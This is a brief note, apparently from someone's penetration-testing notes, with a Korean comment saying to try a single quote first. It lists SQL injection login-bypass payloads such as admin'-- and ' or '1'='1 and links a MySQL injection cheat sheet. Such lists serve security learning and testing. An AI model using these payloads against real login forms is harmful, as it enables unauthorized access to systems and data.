```bash # 일단 제일 먼저 single quote로 확인 해보기 ' admin'-- admin'-- - admin' or 1=1 -- admin' or '1'='1 admin' or '1'='1' -- admin' or '1'='1'# admin' or 1=1# admin' or 1=1/* ``` [Pentest Monkey SQLi Cheat Sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)